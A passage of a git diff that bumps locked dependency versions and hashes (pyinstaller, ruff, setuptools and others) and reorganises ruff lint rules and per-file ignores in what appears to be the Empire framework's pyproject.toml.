= "sha256:407653af5617f0757261ae249d3fba09504d7a71ab36ac057c938572d1bc9331"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:c693e916709c2465b02ca0ad7b387c4f8423d1db7b4649c551f27a529181c5ad"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5b5ff4911aea936a47d9376fd3ab17e970cc543d1b68921886e7f64bd28308d1"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:177f55a886d74f1808763976ac4efd29b7ed15c69f4d838bbd74d9d09cf6fa86"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:964faa8a861d2664f0c7ab0c181af0bea66098b1919439815ca8803ef136fc4e"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:4dd484681c15e6b9a977c785a345d3e378d72678fd5f1f3c0509608da24f2ac0"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f6d6cff3538391e8486a431569b77921adfcdef14eb18fbf19b7c0a5294d4e6a"}, + {file = "pydantic_core-2.20.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a6d511cc297ff0883bc3708b465ff82d7560193169a8b93260f74ecb0a5e08a7"}, + {file = "pydantic_core-2.20.1.tar.gz", hash = "sha256:26ca695eeee5f9f1aeeb211ffc12f10bcb6f71e2989988fda61dabd65db878d4"}, ] [package.dependencies] @@ -1847,13 +1869,13 @@ typing-extensions = ">=4.6.0,<4.7.0 || >4.7.0" [[package]] name = "pydyf" -version = "0.10.0" +version = "0.11.0" description = "A low-level PDF generator." optional = false python-versions = ">=3.8" files = [ - {file = "pydyf-0.10.0-py3-none-any.whl", hash = "sha256:ef76b6c0976a091a9e15827fb5800e5e37e7cd1a3ca4d4bd19d10a14ea8c0ae3"}, - {file = "pydyf-0.10.0.tar.gz", hash = "sha256:357194593efaf61d7b48ab97c3d59722114934967c3df3d7878ca6dd25b04c30"}, + {file = "pydyf-0.11.0-py3-none-any.whl", hash = "sha256:0aaf9e2ebbe786ec7a78ec3fbffa4cdcecde53fd6f563221d53c6bc1328848a3"}, + {file = "pydyf-0.11.0.tar.gz", hash = "sha256:394dddf619cca9d0c55715e3c55ea121a9bf9cbc780cdc1201a2427917b86b64"}, ] [package.extras] @@ -1928,23 +1950,23 @@ files = [ [[package]] name = "pyinstaller" -version = "6.8.0" +version = "6.9.0" description = "PyInstaller bundles a Python application and all its dependencies into a single package." optional = false python-versions = "<3.13,>=3.8" files = [ - {file = "pyinstaller-6.8.0-py3-none-macosx_10_13_universal2.whl", hash = "sha256:5ff6bc2784c1026f8e2f04aa3760cbed41408e108a9d4cf1dd52ee8351a3f6e1"}, - {file = "pyinstaller-6.8.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:39ac424d2ee2457d2ab11a5091436e75a0cccae207d460d180aa1fcbbafdd528"}, - {file = "pyinstaller-6.8.0-py3-none-manylinux2014_i686.whl", hash = "sha256:355832a3acc7de90a255ecacd4b9f9e166a547a79c8905d49f14e3a75c1acdb9"}, - {file = "pyinstaller-6.8.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:6303c7a009f47e6a96ef65aed49f41e36ece8d079b9193ca92fe807403e5fe80"}, - {file = "pyinstaller-6.8.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2b71509468c811968c0b5decb5bbe85b6292ea52d7b1f26313d2aabb673fa9a5"}, - {file = "pyinstaller-6.8.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:ff31c5b99e05a4384bbe2071df67ec8b2b347640a375eae9b40218be2f1754c6"}, - {file = "pyinstaller-6.8.0-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:000c36b13fe4cd8d0d8c2bc855b1ddcf39867b5adf389e6b5ca45b25fa3e619d"}, - {file = "pyinstaller-6.8.0-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:fe0af018d7d5077180e3144ada89a4da5df8d07716eb7e9482834a56dc57a4e8"}, - {file = "pyinstaller-6.8.0-py3-none-win32.whl", hash = "sha256:d257f6645c7334cbd66f38a4fac62c3ad614cc46302b2b5d9f8cc48c563bce0e"}, - {file = "pyinstaller-6.8.0-py3-none-win_amd64.whl", hash = "sha256:81cccfa9b16699b457f4788c5cc119b50f3cd4d0db924955f15c33f2ad27a50d"}, - {file = "pyinstaller-6.8.0-py3-none-win_arm64.whl", hash = "sha256:1c3060a263758cf7f0144ab4c016097b20451b2469d468763414665db1bb743d"}, - {file = "pyinstaller-6.8.0.tar.gz", hash = "sha256:3f4b6520f4423fe19bcc2fd63ab7238851ae2bdcbc98f25bc5d2f97cc62012e9"}, + {file = "pyinstaller-6.9.0-py3-none-macosx_10_13_universal2.whl", hash = "sha256:5ced2e83acf222b936ea94abc5a5cc96588705654b39138af8fb321d9cf2b954"}, + {file = "pyinstaller-6.9.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:f18a3d551834ef8fb7830d48d4cc1527004d0e6b51ded7181e78374ad6111846"}, + {file = "pyinstaller-6.9.0-py3-none-manylinux2014_i686.whl", hash = "sha256:f2fc568de3d6d2a176716a3fc9f20da06d351e8bea5ddd10ecb5659fce3a05b0"}, + {file = "pyinstaller-6.9.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:a0f378f64ad0655d11ade9fde7877e7573fd3d5066231608ce7dfa9040faecdd"}, + {file = "pyinstaller-6.9.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:7bf0c13c5a8560c89540746ae742f4f4b82290e95a6b478374d9f34959fe25d6"}, + {file = "pyinstaller-6.9.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:da994aba14c5686db88796684de265a8665733b4df09b939f7ebdf097d18df72"}, + {file = "pyinstaller-6.9.0-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:4e3e50743c091a06e6d01c59bdd6d03967b453ee5384a9e790759be4129db4a4"}, + {file = "pyinstaller-6.9.0-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:b041be2fe78da47a269604d62c940d68c62f9a3913bdf64af4123f7689d47099"}, + {file = "pyinstaller-6.9.0-py3-none-win32.whl", hash = "sha256:2bf4de17a1c63c0b797b38e13bfb4d03b5ee7c0a68e28b915a7eaacf6b76087f"}, + {file = "pyinstaller-6.9.0-py3-none-win_amd64.whl", hash = "sha256:43709c70b1da8441a730327a8ed362bfcfdc3d42c1bf89f3e2b0a163cc4e7d33"}, + {file = "pyinstaller-6.9.0-py3-none-win_arm64.whl", hash = "sha256:f15c1ef11ed5ceb32447dfbdab687017d6adbef7fc32aa359d584369bfe56eda"}, + {file = "pyinstaller-6.9.0.tar.gz", hash = "sha256:f4a75c552facc2e2a370f1e422b971b5e5cdb4058ff38cea0235aa21fc0b378f"}, ] [package.dependencies] @@ -1952,7 +1974,7 @@ altgraph = "*" macholib = {version = ">=1.8", markers = "sys_platform == \"darwin\""} packaging = ">=22.0" pefile = {version = ">=2022.5.30", markers = "sys_platform == \"win32\""} -pyinstaller-hooks-contrib = ">=2024.6" +pyinstaller-hooks-contrib = ">=2024.7" pywin32-ctypes = {version = ">=0.2.1", markers = "sys_platform == \"win32\""} setuptools = ">=42.0.0" @@ -2444,29 +2466,29 @@ pyasn1 = ">=0.1.3" [[package]] name = "ruff" -version = "0.5.0" +version = "0.5.3" description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" files = [ - {file = "ruff-0.5.0-py3-none-linux_armv6l.whl", hash = "sha256:ee770ea8ab38918f34e7560a597cc0a8c9a193aaa01bfbd879ef43cb06bd9c4c"}, - {file = "ruff-0.5.0-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:38f3b8327b3cb43474559d435f5fa65dacf723351c159ed0dc567f7ab735d1b6"}, - {file = "ruff-0.5.0-py3-none-macosx_11_0_arm64.whl", hash = "sha256:7594f8df5404a5c5c8f64b8311169879f6cf42142da644c7e0ba3c3f14130370"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:adc7012d6ec85032bc4e9065110df205752d64010bed5f958d25dbee9ce35de3"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d505fb93b0fabef974b168d9b27c3960714d2ecda24b6ffa6a87ac432905ea38"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9dc5cfd3558f14513ed0d5b70ce531e28ea81a8a3b1b07f0f48421a3d9e7d80a"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:db3ca35265de239a1176d56a464b51557fce41095c37d6c406e658cf80bbb362"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b1a321c4f68809fddd9b282fab6a8d8db796b270fff44722589a8b946925a2a8"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2c4dfcd8d34b143916994b3876b63d53f56724c03f8c1a33a253b7b1e6bf2a7d"}, - {file = "ruff-0.5.0-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:81e5facfc9f4a674c6a78c64d38becfbd5e4f739c31fcd9ce44c849f1fad9e4c"}, - {file = "ruff-0.5.0-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e589e27971c2a3efff3fadafb16e5aef7ff93250f0134ec4b52052b673cf988d"}, - {file = "ruff-0.5.0-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:d2ffbc3715a52b037bcb0f6ff524a9367f642cdc5817944f6af5479bbb2eb50e"}, - {file = "ruff-0.5.0-py3-none-musllinux_1_2_i686.whl", hash = "sha256:cd096e23c6a4f9c819525a437fa0a99d1c67a1b6bb30948d46f33afbc53596cf"}, - {file = "ruff-0.5.0-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:46e193b36f2255729ad34a49c9a997d506e58f08555366b2108783b3064a0e1e"}, - {file = "ruff-0.5.0-py3-none-win32.whl", hash = "sha256:49141d267100f5ceff541b4e06552e98527870eafa1acc9dec9139c9ec5af64c"}, - {file = "ruff-0.5.0-py3-none-win_amd64.whl", hash = "sha256:e9118f60091047444c1b90952736ee7b1792910cab56e9b9a9ac20af94cd0440"}, - {file = "ruff-0.5.0-py3-none-win_arm64.whl", hash = "sha256:ed5c4df5c1fb4518abcb57725b576659542bdbe93366f4f329e8f398c4b71178"}, - {file = "ruff-0.5.0.tar.gz", hash = "sha256:eb641b5873492cf9bd45bc9c5ae5320648218e04386a5f0c264ad6ccce8226a1"}, + {file = "ruff-0.5.3-py3-none-linux_armv6l.whl", hash = "sha256:b12424d9db7347fa63c5ed9af010003338c63c629fb9c9c6adb2aa4f5699729b"}, + {file = "ruff-0.5.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:b8d72c5684bbd4ed304a9a955ee2e67f57b35f6193222ade910cca8a805490e3"}, + {file = "ruff-0.5.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:d2fc2cdb85ccac1e816cc9d5d8cedefd93661bd957756d902543af32a6b04a71"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cf4bc751240b2fab5d19254571bcacb315c7b0b00bf3c912d52226a82bbec073"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bc697ec874fdd7c7ba0a85ec76ab38f8595224868d67f097c5ffc21136e72fcd"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e791d34d3557a3819b3704bc1f087293c821083fa206812842fa363f6018a192"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:76bb5a87fd397520b91a83eae8a2f7985236d42dd9459f09eef58e7f5c1d8316"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a8cfc7a26422c78e94f1ec78ec02501bbad2df5834907e75afe474cc6b83a8c1"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:96066c4328a49fce2dd40e80f7117987369feec30ab771516cf95f1cc2db923c"}, + {file = "ruff-0.5.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03bfe9ab5bdc0b08470c3b261643ad54ea86edc32b64d1e080892d7953add3ad"}, + {file = "ruff-0.5.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:7704582a026fa02cca83efd76671a98ee6eb412c4230209efe5e2a006c06db62"}, + {file = "ruff-0.5.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:08058d077e21b856d32ebf483443390e29dc44d927608dc8f092ff6776519da9"}, + {file = "ruff-0.5.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:77d49484429ed7c7e6e2e75a753f153b7b58f875bdb4158ad85af166a1ec1822"}, + {file = "ruff-0.5.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:642cbff6cbfa38d2566d8db086508d6f472edb136cbfcc4ea65997745368c29e"}, + {file = "ruff-0.5.3-py3-none-win32.whl", hash = "sha256:eafc45dd8bdc37a00b28e68cc038daf3ca8c233d73fea276dcd09defb1352841"}, + {file = "ruff-0.5.3-py3-none-win_amd64.whl", hash = "sha256:cbaec2ddf4f78e5e9ecf5456ea0f496991358a1d883862ed0b9e947e2b6aea93"}, + {file = "ruff-0.5.3-py3-none-win_arm64.whl", hash = "sha256:05fbd2cb404775d6cd7f2ff49504e2d20e13ef95fa203bd1ab22413af70d420b"}, + {file = "ruff-0.5.3.tar.gz", hash = "sha256:2a3eb4f1841771fa5b67a56be9c2d16fd3cc88e378bd86aaeaec2f7e6bcdd0a2"}, ] [[package]] @@ -2495,18 +2517,19 @@ tests = ["coverage[toml] (>=5.0.2)", "pytest"] [[package]] name = "setuptools" -version = "70.1.1" +version = "71.0.3" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.8" files = [ - {file = "setuptools-70.1.1-py3-none-any.whl", hash = "sha256:a58a8fde0541dab0419750bcc521fbdf8585f6e5cb41909df3a472ef7b81ca95"}, - {file = "setuptools-70.1.1.tar.gz", hash = "sha256:937a48c7cdb7a21eb53cd7f9b59e525503aa8abaf3584c730dc5f7a5bec3a650"}, + {file = "setuptools-71.0.3-py3-none-any.whl", hash = "sha256:f501b6e6db709818dc76882582d9c516bf3b67b948864c5fa1d1624c09a49207"}, + {file = "setuptools-71.0.3.tar.gz", hash = "sha256:3d8531791a27056f4a38cd3e54084d8b1c4228ff9cf3f2d7dd075ec99f9fd70d"}, ] [package.extras] -docs = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier"] -testing = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "importlib-metadata", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "mypy (==1.10.0)", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.1)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-home (>=0.5)", "pytest-mypy", "pytest-perf", "pytest-ruff (>=0.3.2)", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] +core = ["importlib-metadata (>=6)", "importlib-resources (>=5.10.2)", "jaraco.text (>=3.7)", "more-itertools (>=8.8)", "ordered-set (>=3.1.1)", "packaging (>=24)", "platformdirs (>=2.6.2)", "tomli (>=2.0.1)", "wheel (>=0.43.0)"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (<7.4)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier"] +test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "importlib-metadata", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "mypy (==1.10.0)", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-home (>=0.5)", "pytest-mypy", "pytest-perf", "pytest-ruff (<0.4)", "pytest-ruff (>=0.2.1)", "pytest-ruff (>=0.3.2)", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] [[package]] name = "simple-websocket" @@ -2816,16 +2839,17 @@ test = ["coverage", "pytest", "pytest-cov"] [[package]] name = "stone" -version = "3.3.6" +version = "3.3.7" description = "Stone is an interface description language (IDL) for APIs." optional = false python-versions = "*" files = [ - {file = "stone-3.3.6-py3-none-any.whl", hash = "sha256:f25c977936d7b5f75b9a953543257681eb19bcd7758f91b6b515f931b1bd1a66"}, - {file = "stone-3.3.6.tar.gz", hash = "sha256:7e96560bffdaf038d53ca7673cac8cabbaf824a74561564961c34237df901717"}, + {file = "stone-3.3.7-py3-none-any.whl", hash = "sha256:6de5ed29b78ea6435775230bed0847703b4726aeeee66365bf6ad3c63334361b"}, + {file = "stone-3.3.7.tar.gz", hash = "sha256:0b3c3969747aa9287ea660f88515700ab41d027e49daddd732f09858360ebfda"}, ] [package.dependencies] +packaging = ">=21.0" ply = ">=3.4" six = ">=1.12.0" @@ -3372,4 +3396,4 @@ test = ["pytest"] [metadata] lock-version = "2.0" python-versions = ">=3.10,<3.13" -content-hash = "1e2ae87ce291ae1313d3b95e80bc18ff19954af0e290e5dea6e880c8dcf7330e" +content-hash = "d2acc72039e831149b3a4225cc50619fc01fe496a644e177185575cd65934a3d" diff --git a/pyproject.toml b/pyproject.toml index 0b68236fe..ac6c69b52 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -64,7 +64,7 @@ httpx = "^0.26.0" # For starlette TestClient black = "^24.4.2" pytest = "^8.0.1" pytest-timeout = "^2.2.0" -ruff = "^0.5.0" +ruff = "^0.5.3" pytest-cov = "^4.1.0" [build-system] @@ -108,19 +108,31 @@ target-version = "py310" extend-ignore = ["E501"] select = [ - "E", # pycodestyle - "W", # pycodestyle - "F", # pyflakes - "I", # isort - "UP", # pyupgrade - "RUF", # ruff - "B", # flake8-bugbear - "C4", # flake8-comprehensions + "F", # pyflakes + "E", # pycodestyle + "W", # pycodestyle +# "C90", # mccabe + "I", # isort + "UP", # pyupgrade +# "S", # flake8-bandit + "B", # flake8-bugbear + "C4", # flake8-comprehensions +# "PT", # flake8-pytest-style + "RET", # flake8-return + "SLF", # flake8-self "SIM", # flake8-simplify +# "TCH", # flake8-type-checking +# "ARG", # flake8-unused-arguments +# "PTH", # flake8-use-pathlib +# "ERA", # eradicate "PLC", # pylint-convention "PLE", # pylint-error "PLW", # pylint-warning "PLR", # pylint-refactor +# "TRY", # tryceratops +# "PERF", # perflint + "FURB", # refurb + "RUF", # ruff ] [tool.ruff.lint.flake8-bugbear] @@ -130,19 +142,23 @@ extend-immutable-calls = ["fastapi.Depends", "fastapi.params.Depends", "fastapi. # client doesn't have tests and is not being actively developed, # so I don't want to spend time on code quality and unintentionally # breaking things. -"empire/client/*" = ["PLW", "PLR"] +"empire/client/*" = ["PLW", "PLR", "SLF001", "RET"] -# Each individual stager, listener, and module lacks tests, so it is not worth the +# PLR, PLW: Each individual stager, listener, and module lacks tests, so it is not worth the # risk to manually refactor them until there are tests in place for them. -"empire/server/listeners/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915", "PLR2004", "PLW2901"] -"empire/server/stagers/*" = ["PLR0911", "PLR0912", "PLR0915"] -"empire/server/modules/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915"] +# RET: I want to refactor these with more inverted conditions in a follow-up PR. +"empire/server/listeners/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915", "PLR2004", "PLW2901", "RET505", "RET508"] +"empire/server/stagers/*" = ["PLR0911", "PLR0912", "PLR0915", "RET505"] +"empire/server/modules/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915", "RET505"] +"empire/server/common/*" = ["RET505"] # It's hard to limit arguments on the endpoint functions. "empire/server/api/*" = ["PLR0913"] +"empire/server/listeners/http_malleable.py" = ["SLF"] + # Can't control how many fixtures are needed for the tests. -"empire/test/*" = ["PLR0913"] +"empire/test/*" = ["PLR0913", "S", "SLF"] "empire/server/modules/powershell/persistence/elevated/schtasks.py" = ["PLR2004"] "empire/server/modules/powershell/persistence/elevated/wmi.py" = ["PLR2004"] "empire/server/modules/powershell/persistence/elevated/wmi_updater.py" = ["PLR2004"]